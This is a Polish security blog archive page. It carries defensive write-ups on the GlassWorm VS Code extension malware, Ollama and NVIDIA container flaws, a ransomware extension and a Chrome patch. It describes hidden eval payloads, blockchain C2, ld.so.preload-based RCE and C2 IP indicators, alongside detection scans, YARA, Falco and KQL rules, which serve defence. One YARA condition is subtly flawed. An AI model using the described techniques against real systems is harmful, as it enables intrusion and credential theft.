Archiwa: Linux - Strona 20 z 27 - Security Bez Tabu

GlassWorm znowu na OpenVSX: trzy nowe rozszerzenia VS Code z ukrytym malware

Wprowadzenie do problemu / definicja luki

Na OpenVSX (alternatywny rejestr rozszerzeń VS Code) wykryto powrót kampanii GlassWorm – zestawu złośliwych rozszerzeń wykorzystujących niewidzialne znaki Unicode do ukrywania i wykonywania JavaScriptu. Nowa fala obejmuje 3 rozszerzenia (m.in. ai-driven-dev.ai-driven-dev, adhamu.history-in-sublime-merge, yasuyuky.transient-emacs) i według bieżących raportów odnotowała łącznie >10 tys. pobrań. Kampania kontynuuje wcześniej opisane techniki: C2 w łańcuchu Solana, kradzież tokenów GitHub/npm/OpenVSX oraz danych portfeli krypto z 49 popularnych wtyczek.


W skrócie

  • Co się stało: po październikowych czyszczeniach OpenVSX znów pojawiły się 3 zainfekowane rozszerzenia z ukrytym ładunkiem GlassWorm.
  • Jak działa: payload jest schowany w znakach PUA/VS (Private Use Area/Variation Selectors) – „puste” w edytorze, ale dekodowane i wykonywane przez JS. C2 i aktualizacje są osadzane w transakcjach Solana (trwałość, anonimizacja, niskie koszty).
  • Po co: kradzież sekretów (GitHub, npm, OpenVSX), drenaż krypto, tworzenie SOCKS proxy/HVNC i budowa infrastruktury przestępczej na stacjach devów.
  • Skala i spór: OpenVSX informował, że incydent z października był „opanowany” i że nie była to autonomiczna samoreplikacja; jednak badacze widzą „samopowielanie” przez kradzież i użycie poświadczeń.
  • Nowość: potwierdzone wejście na GitHub (commity z doklejonym, ukrytym dekoderem + eval) – to rozszerza wektor poza marketplace.

Kontekst / historia / powiązania

Pierwsza fala GlassWorm została opisana 20 października 2025 r., gdy wykryto pakiet zainfekowanych rozszerzeń na OpenVSX i w marketplace Microsoftu (łączny licznik pobrań szacowany na ok. 35,8 tys., choć mógł być sztucznie zawyżony przez atakujących). 2 listopada OpenVSX ogłosił rotację tokenów i dodatkowe zabezpieczenia po wykryciu wycieku >550 sekretów; jednocześnie podkreślił, że kod nie był „samoreplikującym się” robakiem w klasycznym sensie. 6 listopada badacze Koi i Aikido pokazali jednak nową falę oraz pivot na GitHub. 8 listopada media potwierdziły trzy świeże rozszerzenia na OpenVSX.


Analiza techniczna / szczegóły luki

1) „Niewidzialny” ładunek

  • Atak wykorzystuje PUA/VS (np. zakresy U+E000–U+F8FF, U+FE00–U+FE0F), które nie renderują się w edytorze, ale są parsowane przez dekoder w JS. Typowy wzorzec: dekoder mapujący punkty kodowe → bajty → eval. Na GitHub widziano jednolinijkowy wariant, który dołączał dekoder na końcu pliku.

2) Kanał C2/aktualizacji w Solanie

  • Rozszerzenia pobierają następne etapy na podstawie transakcji Solana (w polach danych trzymane są base64 z URL-ami serwerów C2). Rozwiązanie trudne do zdejmowania (odporne, tanie, anonimowe). Backup: Google Calendar z linkiem base64 w tytule wydarzenia.

3) Zdolności końcowe

  • Kradzież tokenów/logowań (GitHub/npm/OpenVSX), portfeli krypto (49 wtyczek), uruchamianie SOCKS proxy, HVNC (ukryty VNC) – praktycznie przejęcie stacji deweloperskiej jako węzła przestępczego.

4) Infrastruktura i IOC

  • Koi w nowej fali wskazało, że używana jest ta sama infrastruktura (zaktualizowane wskaźniki C2 publikowane w Solanie; przykładowo w raporcie widnieją adresy 199.247.10.166 oraz 199.247.13.106:80/wall jako punkty komunikacji/eksfiltracji).

Praktyczne konsekwencje / ryzyko

  • Łańcuchowe kompromitacje: kradzione tokeny wydawnicze pozwalają wstrzykiwać złośliwe aktualizacje do innych rozszerzeń/repozytoriów/teamów.
  • Trwałość i trudne wyłączenie: C2 na blockchainie zmniejsza skuteczność klasycznych Takedownów. Zmiana transakcji → nowy endpoint → „samoleczenie” C2.
  • Ryzyko finansowe i reputacyjne: wyciek sekretów organizacji, kradzież krypto, nadużycie zasobów (proxy, botnet z dev-workstation).
  • Rozszerzenie wektora: pojawienie się ukrytych commitów na GitHub (AI-like, wiarygodne modyfikacje) utrudnia code review i detekcję.

Rekomendacje operacyjne / co zrobić teraz

0) Szybkie kroki IR (dla SOC/ITSec)

  1. Zidentyfikuj i usuń trzy rozszerzenia z nowej fali (oraz te z list październikowych):
    • ai-driven-dev.ai-driven-dev, adhamu.history-in-sublime-merge, yasuyuky.transient-emacs.
  2. Sprawdź stacje devów pod kątem IOC/C2 i anomalii sieciowych (np. komunikacja do znanych hostów z raportu Koi).
  3. Rotuj sekrety: patche PAT/ghp, npm tokens, OpenVSX tokens, klucze do CI/CD; wymuś 2FA i SSO. (OpenVSX przeszedł już rotację tokenów, ale Twoja organizacja musi zrobić to samo).

1) Wykrywanie „niewidzialnego” kodu (proste skrypty)

Linux/macOS – skan katalogów rozszerzeń VS Code/VSCodium

# VS Code i VSCodium: typowe ścieżki
EXT_DIRS=("$HOME/.vscode/extensions" "$HOME/.vscode-oss/extensions" "$HOME/.vscode-insiders/extensions")
# Znaki PUA/VS: U+E000–U+F8FF, U+FE00–U+FE0F, U+E0100–U+E01EF
for d in "${EXT_DIRS[@]}"; do
  [ -d "$d" ] || continue
  echo "[*] Skanuję $d"
  grep -RIl --include='*.js' --include='*.ts' \
    -P "[\x{E000}-\x{F8FF}\x{FE00}-\x{FE0F}\x{E0100}-\x{E01EF}]" "$d" || true
done

Windows (PowerShell)

$paths = @("$env:USERPROFILE\.vscode\extensions", "$env:USERPROFILE\.vscode-oss\extensions")
$pattern = '[\x{E000}-\x{F8FF}\x{FE00}-\x{FE0F}\x{E0100}-\x{E01EF}]'
foreach ($p in $paths) {
  if (Test-Path $p) {
    Get-ChildItem -Recurse -Include *.js,*.ts -Path $p |
      Select-String -Pattern $pattern -AllMatches | Select-Object Path,LineNumber
  }
}

Prosty YARA snippet (heurystyka):

rule Invisible_Unicode_PUA_Eval_JS {
  meta: author="BlueTeam" description="GlassWorm-like hidden code"
  strings:
    $pua = /[\x{E000}-\x{F8FF}\x{FE00}-\x{FE0F}\x{E0100}-\x{E01EF}]+/u
    $eval = /eval\s*\(/ nocase
  condition:
    uint16(0) == 0xFFFE or uint16(0) == 0xFEFF or filesize < 5MB and $pua and $eval
}

2) Usuwanie podejrzanych rozszerzeń

# VS Code
code --list-extensions | grep -E "ai-driven-dev|sublime-merge|transient-emacs"
code --uninstall-extension ai-driven-dev.ai-driven-dev
code --uninstall-extension adhamu.history-in-sublime-merge
code --uninstall-extension yasuyuky.transient-emacs

# VSCodium
codium --list-extensions | grep -E "ai-driven-dev|sublime-merge|transient-emacs"
codium --uninstall-extension ai-driven-dev.ai-driven-dev
...

3) Twardnienie łańcucha wydawniczego

  • Sekrety: ogranicz TTL tokenów, wprowadź krótko żyjące PAT, automatyczną re-rotację po wykryciu wycieku; secret scanning w CI. (Zgodne z kierunkiem zmian deklarowanych przez OpenVSX).
  • Publikacja rozszerzeń: SBOM + skan artefaktów przed publikacją, signowanie, zasada 4-oczu na „release”.
  • Review kodu: wymuś widoczność znaków niewidzialnych w IDE i Diffach (np. włącz „Render Control Characters” w VS Code, używaj pre-commit hooków skanujących PUA). (W raporcie Aikido wskazano, że interfejsy nie zawsze oznaczały te znaki).
  • Egress i DNS: blokady do znanych IOC oraz monitorowanie zapytań powiązanych z Solaną używaną jako kanał C2 (telemetria proxy, NetFlow/Zeek).

Różnice / porównania z innymi przypadkami

  • Klasyczne „tylne drzwi” w npm (post-install, skrypty lifecycle) były wyraźniejsze w kodzie; tutaj ładunek „nie istnieje gołym okiem” i potrafi przenikać code review.
  • C2 w Solanie to nowszy trend utrudniający Takedown – w porównaniu do typowych domen/URL na VPS, które łatwiej zawiesić.
  • Spór o „worma”: OpenVSX wskazuje, że brak autonomicznej replikacji; badacze argumentują, że automatyczne aktualizacje + wykorzystanie wykradzionych tokenów de facto umożliwia rozprzestrzenianie się w ekosystemie. Wniosek operacyjny: dla obrony nie ma to znaczenia – ścieżka propagacji i tak omija kontrole.

Podsumowanie / kluczowe wnioski

  • Niewidzialny kod + blockchain C2 + kradzież sekretów = bardzo skuteczny model ataku na ekosystemy developerskie.
  • Nowa fala na OpenVSX pokazuje, że nawet po rotacji tokenów atakujący szybko wracają – potrzebne są krótkie TTL, skanowanie podczas publikacji i silne procesy w organizacjach.
  • Blue Teamy powinny wdrożyć skan PUA, bloki IOC, telemetrię egress i procedury IR wyspecjalizowane dla stacji developerskich (zależne od IDE/marketplace).

Źródła / bibliografia

  1. BleepingComputer – nowa fala, 3 rozszerzenia i >10k pobrań (08.11.2025). (BleepingComputer)
  2. BleepingComputer – analiza pierwszej fali (20.10.2025). (BleepingComputer)
  3. Eclipse Foundation (OpenVSX) – aktualizacja bezpieczeństwa, rotacje tokenów i stanowisko nt. „self-replicating” (27.10.2025; podsumowane także 02.11.2025). (Eclipse Foundation Staff Blogs)
  4. Koi Security – „GlassWorm Returns”: nowe IoC, opis pivotu i zrzuty z serwera atakujących (06.11.2025). (Koi)
  5. Aikido Security – „The Return of the Invisible Threat”: wzorzec jednolinijkowego dekodera, pivot na GitHub (31.10.2025). (Aikido)

Ollama i NVIDIA: nowe luki uderzają w infrastrukturę AI. Co musi zrobić dział SecOps?

Wprowadzenie do problemu / definicja luki

Badacze ujawnili świeży zestaw podatności w popularnych elementach infrastruktury AI: w silniku modeli Ollama oraz w stosie NVIDIA (Triton Inference Server i Container Toolkit/GPU Operator). Część błędów umożliwia zdalne wykonanie kodu (RCE) bez uwierzytelnienia lub ucieczkę z kontenera do hosta, co wprost zagraża klastrom Kubernetes i serwerom GPU. Informacje o nowych lukach i ich naprawach potwierdza m.in. serwis Dark Reading oraz biuletyny producentów.


W skrócie

  • Produkty narażone (przykłady):
    • Ollama – m.in. nowsze zgłoszenia: CVE-2025-51471 (token-steal/bypass auth), wcześniejsze: CVE-2024-37032 (RCE „Probllama”), CVE-2024-28224 (DNS rebinding), plus błędy DoS/overflow.
    • NVIDIAContainer Toolkit/GPU Operator: CVE-2025-23266 (krytyczny container escape, CVSS 9.0) i CVE-2025-23267 (link-following/DoS).
  • Wpływ: przejęcie serwera inferencji, kradzież modeli i danych, eskalacja uprawnień z kontenera do hosta, dostęp do innych workloadów na tym samym węźle GPU.
  • Naprawy:
    • NVIDIA Container Toolkit ≥ 1.17.8 (oraz odpowiednie wersje GPU Operator/Device Plugin/MIG Manager).
    • Ollama – aktualizacja do wydań z łatami (m.in. po CVE-2024-37032 oraz po CVE-2025-51471).

Kontekst / historia / powiązania

Od 2024 r. infrastruktura AI trafia coraz częściej na celownik: Wiz Research opisał RCE w Ollama (CVE-2024-37032, „Probllama”) – łatwe do sprowokowania przez błędy walidacji i brak natywnego uwierzytelniania, zwłaszcza w domyślnie publicznych wdrożeniach Docker. NCC Group wcześniej udowodniło, że DNS rebinding pozwala atakować lokalne instancje Ollama przez przeglądarkę ofiary. Równolegle 2025 przyniósł NVIDIAScape – krytyczny escape w Container Toolkit. Trend potwierdzają media branżowe: środek ciężkości badań przesuwa się z prompt-injection do warstwy infrastruktury (serwery inferencji, rejestry modeli, kontenery GPU).


Analiza techniczna / szczegóły luki

Ollama

  1. CVE-2024-37032 („Probllama”) – RCE
    • Wada w obsłudze manifestów przy /api/pull pozwalała na path traversal i arbitrary file write/read, co w deploymentach Docker (root, 0.0.0.0) dawało prostą ścieżkę do RCE (np. przez manipulację ld.so.preload). Zalecana aktualizacja do wersji z 08.05.2024+.
  2. CVE-2024-28224 – DNS rebinding
    • Atak z poziomu przeglądarki ofiary omijał Same-Origin Policy, umożliwiając zdalny dostęp do API Ollama na localhost, eksfiltrację plików oraz operacje na modelach. Naprawione w v0.1.29; rekomendowane m.in. sprawdzanie nagłówka Host i TLS, także dla loopback.
  3. CVE-2025-51471 – kradzież tokenów / obejście auth
    • Cross-Domain Token Exposure: złośliwy WWW-Authenticate realm z /api/pull mógł wykradać tokeny i obchodzić kontrolę dostępu. Dotyczyło Ollama 0.6.7; patrz NVD/GitHub Advisory i poprawki projektu.

Wniosek: w praktyce te trzy klasy błędów łączą się w łańcuch ataku: rebinding ⇒ token-steal ⇒ pull/push z prywatnego rejestru ⇒ RCE/eksfiltracja.

NVIDIA Container Toolkit / GPU Operator

  • CVE-2025-23266 (CVSS 9.0) – błąd w hookach inicjalizacji kontenera; w pewnych konfiguracjach umożliwiał ucieczkę z kontenera i wykonanie kodu z podwyższonymi uprawnieniami na hoście.
  • CVE-2025-23267 (CVSS 8.5) – podatność w hooku update-ldcache; specjalnie spreparowany obraz mógł prowadzić do link following, skutkując manipulacją danymi/DoS.
  • Wersje naprawcze: Toolkit 1.17.8, GPU Operator 25.3.2, Device Plugin 0.17.3, MIG Manager 0.12.2; dodatkowe uwagi dla RHEL/OpenShift i notatka, że konfiguracje z crun nie są dotknięte 23266.

Praktyczne konsekwencje / ryzyko

  • Kradzież modeli i promptów, modyfikacja wag i artefaktów (supply-chain modeli), sabotaż inferencji.
  • Pivot z kontenera do hosta GPU (23266) ⇒ dostęp do innych namespace’ów/kontenerów na węźle, wyciek danych klientów i eskalacja w klastrze.
  • Ataki z przeglądarki na lokalne dev-maszyny (DNS rebinding) ⇒ eksfiltracja dokumentów/projektów R&D.
  • Ryzyko compliance: naruszenia izolacji danych, IP leakage, utrata integralności modeli.

Rekomendacje operacyjne / co zrobić teraz

1) Patch & wersje

  • NVIDIA: zaktualizuj Container Toolkit → 1.17.8, GPU Operator → 25.3.2, Device Plugin → 0.17.3, MIG Manager → 0.12.2. Dla OpenShift – użyj tagów v1.17.8-ubi8 / v0.12.2-ubi9. Jeśli używasz crun – 23266 nie dotyczy, ale 1.17.7 nadal wymaga łat na 23267.
  • Ollama: zaktualizuj do wersji usuwających CVE-2024-37032 i CVE-2025-51471 (sprawdź release notes projektu). Minimalnie ≥ v0.1.34 dla „Probllama”, naprawa 0.6.7-related dla token-steal.

2) Minimalizacja ekspozycji

  • Nie wystawiaj API Ollama publicznie. Jeśli musisz – wymuś reverse proxy z auth (OIDC/Basic) i TLS:
# Nginx (skrót)
server {
  listen 443 ssl http2;
  server_name ollama.example.com;
  ssl_certificate ...; ssl_certificate_key ...;

  auth_basic "Restricted";              # tymczasowo
  auth_basic_user_file /etc/nginx/.htpasswd;

  location / {
    proxy_set_header Host $host;
    proxy_pass http://127.0.0.1:11434;
  }
}

(Wiz podkreśla brak natywnego auth w wielu wdrożeniach; reverse proxy to „must”.)

  • W instancjach lokalnych wymuś bind tylko do loopback:
# Linux (systemd override)
sudo systemctl edit ollama
# [Service]
# Environment="OLLAMA_HOST=127.0.0.1"

3) Twardnienie kontenerów i K8s

  • Zabroń --privileged i host-mountów; używaj rootless (jeśli możliwe), seccomp/apparmor i redukcji capabilities:
# PodSecurityContext (skrócone)
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  seccompProfile: { type: RuntimeDefault }
  capabilities: { drop: ["ALL"] }
  • Segmentuj sieć przy pomocy NetworkPolicy – oddziel inference od reszty:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: { name: allow-only-proxy, namespace: ai }
spec:
  podSelector: { matchLabels: { app: ollama } }
  policyTypes: ["Ingress"]
  ingress:
    - from:
        - namespaceSelector: { matchLabels: { name: ingress } }
      ports: [{ protocol: TCP, port: 11434 }]

4) Rejestry modeli i „model supply chain”

  • Pin’uj hashy warstw, weryfikuj źródła (allow-list domen/rejestrów), skanuj artefakty przed „pull”. (W RCE „Probllama” wektor przechodził przez /api/pull z prywatnego rejestru.)

5) Detekcja i IR

  • Wskaźniki podejrzanej aktywności (przykłady):
    • Nietypowe żądania /api/pull z zewnętrznych adresów, 4xx/5xx na /api/push, powtarzające się tworzenie modelu z niestandardowymi FROM.
    • W nodach GPU: logi runtime wskazujące na modyfikacje ld.so.preload, anomalie w hookach OCI, nieautoryzowane biblioteki preload (23266/23267).
  • Reguły (przykład Falco):
- rule: Write to ld.so.preload
  desc: Potential container escape via ld.so.preload manipulation
  condition: >
    evt.type in (open, openat) and fd.name = "/etc/ld.so.preload" and
    proc.name not in (ldconfig)
  output: "Process %proc.name wrote to ld.so.preload (user=%user.name container=%container.id)"
  priority: CRITICAL

Różnice / porównania z innymi przypadkami

  • Ollama – błędy głównie na styku API i walidacji danych (path traversal, token-steal, DNS rebinding), a więc ataki zdalne poprzez HTTP i łańcuchy z udziałem przeglądarek/serwerów proxy.
  • NVIDIA Container Toolkit/GPU Operatorbłędy w hookach OCI i przepływie inicjalizacji, skutkujące eskalacją z kontenera do hosta (breakout), co zagraża całemu węzłowi i sąsiadującym workloadom.

Podsumowanie / kluczowe wnioski

  1. Zaktualizuj wszystko, co dotyczy stosu AI – najpierw Toolkit 1.17.8 / GPU Operator 25.3.2, potem Ollama do wersji z łatami na RCE, rebinding i token-exposure.
  2. Nie wystawiaj surowych endpointów inferencji do Internetu; dodaj auth i TLS na brzegu.
  3. Odchudź uprawnienia kontenerów, stosuj Pod Security i NetworkPolicy, monitoruj anomalia w hookach OCI i modyfikacje ld.so.preload.
  4. Traktuj modele jak łańcuch dostaw – weryfikuj źródła i hashe, skanuj pliki GGUF/manifesty przed użyciem.

Źródła / bibliografia

  • Dark Reading — przegląd nowych luk w Ollama i NVIDIA Triton/Toolkit (7 listopada 2025). (Dark Reading)
  • NVIDIA Security Bulletin: Container Toolkit (CVE-2025-23266, CVE-2025-23267) oraz wersje naprawcze. (NVIDIA Support)
  • Wiz Research: „Probllama” — CVE-2024-37032 (RCE w Ollama), wektory i mitigacje. (wiz.io)
  • NCC Group: CVE-2024-28224 (DNS rebinding w Ollama), szczegóły ataku i zalecenia. (NCC Group)
  • NVD: CVE-2025-51471 (Cross-Domain Token Exposure w Ollama 0.6.7), status i referencje. (NVD)

„Ransomvibing” w Marketplace VS Code: złośliwe rozszerzenie pokazuje, jak łatwo wpuścić ransomware do IDE

Wprowadzenie do problemu / definicja luki

Na Visual Studio Marketplace opublikowano rozszerzenie do VS Code, które wprost reklamowało funkcje „zipping, upload & encrypt”, po zainstalowaniu uruchamiało się automatycznie, a następnie pakowało, eksfiltrowało i szyfrowało pliki. Zjawisko ochrzczono „ransomvibing” – ransomware „vibe-coded”, czyli w dużej mierze sklejone promptami do LLM. Wpis badacza, który pierwszy opisał sprawę (Secure Annex), oraz relacje prasowe potwierdzają, że Microsoft usunął rozszerzenie z Marketplace po zgłoszeniu.


W skrócie

  • Złośliwy plugin VS Code został opublikowany pod nazwą wydawcy sugerującą „sus…” i opisem jednoznacznie wskazującym na eksfiltrację i szyfrowanie. Po zgłoszeniu zniknął z Marketplace, a Microsoft informuje, że takie pakiety po weryfikacji trafiają na blocklistę i są autoodinstalowane.
  • Implementacja zdradza ślady generowania kodu przez AI (obszerne komentarze, nielogiczne decyzje projektowe), łącznie z kuriozalnym wbudowaniem klucza deszyfrującego.
  • Kanał C2 oparto o prywatne repozytorium GitHub; rozszerzenie nasłuchiwało zmian i wykonywało polecenia. W opisie widniały także docelowe ścieżki do pakowania danych.
  • Incydent wpisuje się w szerszy trend AI-asystowanego malware (np. akademicki PoC „PromptLock/PromptLocker”).

Kontekst / historia / powiązania

Marketplace’y na narzędzia developerskie stają się łakomym kąskiem: poza fałszywymi wtyczkami do przeglądarek i IDE, branża obserwuje też złośliwe rozszerzenia VS Code i nieszczelne wydania z wyciekami sekretów. Dostawcy (w tym Microsoft) deklarują procesy moderacyjne, automatyczną dezinstalację zidentyfikowanych zagrożeń i link „Report abuse” na stronach rozszerzeń. Jednak incydenty – od kradzieży kodu źródłowego po cryptomining – pokazują, że sama kuratela nie wystarcza i wymaga defensywy po stronie organizacji.


Analiza techniczna / szczegóły luki

Składniki łańcucha ataku:

  1. Publikacja pluginu w Marketplace jako zwykłego rozszerzenia VS Code; opis nie krył funkcji „zip-upload-encrypt”.
  2. Automatyczna aktywacja (activation events „onStartupFinished”/„*”) – uruchomienie funkcji zipUploadAndEncrypt już przy instalacji/otwarciu edytora.
  3. Zbieranie danych – tworzenie archiwum ZIP wskazanego katalogu (np. C:\Users\Public\testing lub /tmp/testing w PoC).
  4. Eksfiltracja – wysyłka na zdalny serwer/C2; w tym przypadku GitHub (repo prywatne) jako boczny kanał poleceń (polling commitów).
  5. Szyfrowanie – zastąpienie plików wersjami zaszyfrowanymi; w kodzie widniał twardo zaszyty klucz deszyfrujący oraz dwa „decryptory” (Python/Node), co zdradza pośpieszne, AI-asystowane klejenie.

Artefakty i wskaźniki (IoC) do huntowania w orgu:

  • Nazwy: podejrzany wydawca o wzorcu „sus…”, funkcja zipUploadAndEncrypt, odwołania do index.html jako pseudo-kanału sterowania.
  • Aktywność sieciowa VS Code do domen GitHub/serwera C2 bez interakcji użytkownika (po starcie IDE).

Praktyczne konsekwencje / ryzyko

  • Obniżenie poprzeczki dla przestępców: LLM-y pozwalają szybko „wibrować” (vibe-code) działający, choć toporny kod ransomware. Amator może wrzucić POC do ekosystemu, w którym użytkownicy ufają dystrybucji rozszerzeń.
  • Ryzyko supply-chain: Auto-update rozszerzeń = ryzyko „one-click impact” lub nawet silent impact przy aktualizacji.
  • Trudność w detekcji: Aktywacja na eventach VS Code i C2 w GitHubie „zlewają się” z normalnym ruchem dev-toolingu.

Rekomendacje operacyjne / co zrobić teraz

1) Governance i polityki VS Code/Marketplace (Enterprise)

  • Wyłącz auto-aktualizacje rozszerzeń na poziomie orgu:
    settings.json (User/Workspace/Policy): { "extensions.autoUpdate": false, "extensions.autoCheckUpdates": false }
  • Wymuś allow-listę wydawców (rozszerzenia tylko ze sprawdzonej listy; w praktyce – własny mirror lub repo wewnętrzne).
  • Zablokuj dostęp do Marketplace na brzegu (proxy/NGFW/DNS): domeny marketplace.visualstudio.com, *.gallery.vsassets.io (tylko dla stacji dev bez zgody). Microsoft sam zaleca możliwość całkowitego blokowania Marketplace w środowiskach podwyższonego ryzyka.
  • W politykach MDM/Intune lub konfiguracji złotych obrazów wymuś zewnętrzne źródła rozszerzeń = off, instalacja tylko z pakietów zatwierdzonych.

2) Kontrola instalacji i inwentaryzacja

  • Zrzut listy rozszerzeń (CI lub skrypty pre-commit): # macOS/Linux code --list-extensions > extensions.txt # Windows (PowerShell) code --list-extensions | Out-File extensions.txt
  • Wymuś uninstall niezatwierdzonych: # przykład: masowa dezinstalacja wszystkiego spoza allow-listy allowed=$(cat allowlist.txt) for ext in $(code --list-extensions); do echo "$allowed" | grep -qx "$ext" || code --uninstall-extension "$ext" done
  • Ścieżki przeglądu kodu rozszerzeń:
    • Windows: %USERPROFILE%\.vscode\extensions\
    • Linux/macOS: ~/.vscode/extensions/

3) Detekcje / hunting (EDR/SIEM/Defender for Endpoint)

  • Reguła YARA (przykład PoC) na artefakty wspomniane publicznie: rule VSCode_Ransomvibe_PoC { meta: description = "Heurystyka: vibe-coded VSCode ransomware PoC" strings: $s1 = "zipUploadAndEncrypt" nocase $s2 = "index.html" ascii $s3 = "C:\\Users\\Public\\testing" ascii $s4 = "/tmp/testing" ascii condition: 2 of ($s*) } (dobierz do własnych TTP, nie traktuj jako sygnatury ostatecznej). Źródła publiczne wspominają zarówno nazwę funkcji, jak i ścieżki docelowe.
  • Reguła EDR (pseudo-KQL) – VS Code inicjuje ZIP + outbound do GitHub po starcie: DeviceProcessEvents | where InitiatingProcessFileName =~ "Code.exe" and (FileName in~ ("powershell.exe","zip.exe","node.exe","python.exe")) | where Timestamp between (SigninTime .. SigninTime + 5m) | join kind=leftouter DeviceNetworkEvents on DeviceId, InitiatingProcessId | where RemoteUrl endswith "github.com" or RemoteUrl endswith "githubusercontent.com" | summarize count() by DeviceName, InitiatingProcessCommandLine
  • Alerty na nietypowe „activation events” w package.json rozszerzeń (szczególnie „onStartupFinished”, „*”).

4) Hardening stacji developerskich

  • Least privilege (dev nie jest lokalnym adminem).
  • AppLocker/WDAC – lista dozwolonych interpreterów (Node/Python) uruchamianych z katalogów profilowych.
  • Segregacja danych – wartościowe repozytoria poza katalogami, do których VS Code ma pełny zapis bez kontroli.
  • Skanowanie tajemnic (pre-commit hooks, np. gitleaks) i DLP – ogranicza exfil wartościowych artefaktów, nawet jeśli dojdzie do ZIP/POST.

5) Reagowanie i odtwarzanie

  • W przypadku detekcji: izolacja hosta, inwentaryzacja zaszyfrowanych/wyeksfiltrowanych ścieżek, wymuszenie rotacji sekretów (tokeny w repo), zgłoszenie do zespołu PSIRT.
  • Backup i testy odtwarzania – szczególnie dla katalogów roboczych developerów.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • PromptLock / PromptLocker (NYU, PoC): akademicki projekt pokazał, że LLM może orkiestrwać pełny cykl ataku ransomware (od rekonesansu po szyfrowanie) – to dowód możliwości, nie kampania przestępcza. Incydent z rozszerzeniem VS Code jest praktycznym przykładem, że „AI-asystowana” implementacja potrafi trafić do zaufanego kanału dystrybucji.
  • Inne przypadki z VS Code: raporty branżowe z ostatnich tygodni wskazują na szkodliwe rozszerzenia kradnące kod i użycie Marketplace do dystrybucji – „ransomvibing” wpisuje się w ten trend, ale rzadko widziano tak jawnie opisane funkcje „encrypt/exfil”.

Podsumowanie / kluczowe wnioski

  1. Zaufanie do Marketplace ≠ bezpieczeństwo. Moderacja nie zastąpi kontroli organizacyjnej (allow-lista, mirror, polityki).
  2. AI obniża barierę wejścia – nawet amatorzy są w stanie złożyć „działający” ransomware i opublikować go w kanale enterprise-grade.
  3. Operationalize security w DevEx: inwentaryzacja rozszerzeń, EDR-hunting wokół VS Code i blokady sieciowe to dziś „must-have”.
  4. Przygotuj IR pod developerów: procedury odtwarzania stanowisk i rotacji sekretów po incydencie z IDE.

Źródła / bibliografia

  1. Dark Reading – opis incydentu, cytat Microsoftu, szczegóły publikacji i usunięcia rozszerzenia. (Dark Reading)
  2. Secure Annex (John Tuckner) – wpis badawczy opisujący „ransomvibe” i technikalia. (secureannex.com)
  3. The Hacker News – dodatkowe szczegóły dot. aktywacji, funkcji zipUploadAndEncrypt, ścieżek i usunięcia z Marketplace. (The Hacker News)
  4. Microsoft – dokumentacja/FAQ bezpieczeństwa rozszerzeń (blocklista, auto-uninstall). (Visual Studio Code)
  5. NYU Tandon / SecurityWeek – kontekst badań „PromptLock/PromptLocker” (LLM-orchestrated ransomware). (NYU Tandon School of Engineering)

Chrome 142: aktualizacja bezpieczeństwa łata 5 podatności (3 „High”), w tym WebGPU (CVE-2025-12725)

Wprowadzenie do problemu / definicja luki

Google wydało poprawkę bezpieczeństwa dla Chrome 142 usuwającą 5 podatności, z czego 3 mają wagę High. Najpoważniejsza z nich to błąd zapisu poza bufor (out-of-bounds write) w WebGPU – CVE-2025-12725, potencjalnie umożliwiający zdalne wykonanie kodu (RCE). Dodatkowo naprawiono błędy „inappropriate implementation” w Views (CVE-2025-12726) i V8 (CVE-2025-12727) oraz dwie usterki średniej wagi w Omnibox (CVE-2025-12728, CVE-2025-12729). Google nie raportuje na ten moment aktywnego wykorzystania tych luk. Oficjalne wersje z łatami to m.in. 142.0.7444.134/.135 dla Windows/Mac/Linux.


W skrócie

  • Zakres: 5 luk (3×High: WebGPU, Views, V8; 2×Medium: Omnibox).
  • Warianty wersji z poprawką: Windows/Mac 142.0.7444.134/.135, Linux 142.0.7444.134; rollout etapowy.
  • Eksploatacja „in the wild”: brak potwierdzenia.
  • Ryzyko praktyczne: możliwe RCE (WebGPU, V8), korupcja pamięci/stanów UI (Views), manipulacje paskiem adresu i scenariusze phishingowe (Omnibox).
  • Dla kogo priorytet: SOC/IT z dużym udziałem przeglądarki w łańcuchu pracy (SaaS, VDI, SSO, EDR w konsoli web), środowiska z WebGPU/AI w przeglądarce oraz parkiem rozszerzeń.

Kontekst / historia / powiązania

Chrome 142 został ogłoszony jako stabilny 28 października 2025 r., a kilka dni później wydano aktualizację stricte bezpieczeństwa dla desktopów ze zredukowanymi szczegółami do czasu, aż większość użytkowników się zaktualizuje (standardowa polityka). Wpis zespołu Chromium podaje listę CVE i numery wersji kanału stabilnego.


Analiza techniczna / szczegóły luki

1) WebGPU — CVE-2025-12725 (High, OOB write → RCE)

  • Natura błędu: out-of-bounds write w implementacji WebGPU (warstwa umożliwiająca stronom dostęp do GPU). Tego typu usterki to klasyczna korupcja pamięci — zapis poza przeznaczonym obszarem może prowadzić do crasha lub dowolnego wykonania kodu przy odpowiednio spreparowanych shaderach/buforach.
  • Implikacje praktyczne: złośliwe strony/aplikacje webowe uruchamiające obciążenia GPU (np. wizualizacje 3D/AI) mogą próbować eskalować błąd do RCE w procesie renderera; potencjalnie do piaskownicy, ale łańcuchy „renderer → browser” są znane z wcześniejszych kampanii. (Implikacja na bazie typologii błędu w Chrome i modelu procesów.)

2) Views — CVE-2025-12726 (High)

  • Opis: „inappropriate implementation” w frameworku Views (warstwa UI Chrome), niebezpieczne obchodzenie się z referencjami obiektów UI → możliwość korupcji pamięci po odwiedzeniu spreparowanej strony lub poprzez rozszerzenie.

3) V8 — CVE-2025-12727 (High)

  • Opis: błąd „inappropriate implementation” w silniku V8 (JS/WebAssembly). Tego rodzaju defekty (np. type confusion, błędy pamięci) są historycznie atrakcyjne do RCE przez skrypty na stronie.

4–5) Omnibox — CVE-2025-12728, CVE-2025-12729 (Medium)

  • Opis: „inappropriate implementation” w Omnibox (pasek adresu). Skutki to m.in. nadużycia UI lub błędne odwzorowanie danych, co w praktyce zwiększa ryzyko phishingu/redirectów i ataków „tapjacking”/„clickjacking” w interakcji z paskiem.

Tabela szybkiego mapowania (CVE → komponent → poziom):
CVE-2025-12725 (WebGPU, High), CVE-2025-12726 (Views, High), CVE-2025-12727 (V8, High), CVE-2025-12728 (Omnibox, Medium), CVE-2025-12729 (Omnibox, Medium).


Praktyczne konsekwencje / ryzyko

  • Atak RCE z poziomu strony: kombinacje luk WebGPU/V8 mogą umożliwić uruchomienie kodu w procesie renderera i potencjalny sandbox escape przy dodatkowych błędach (łańcuchy exploitów).
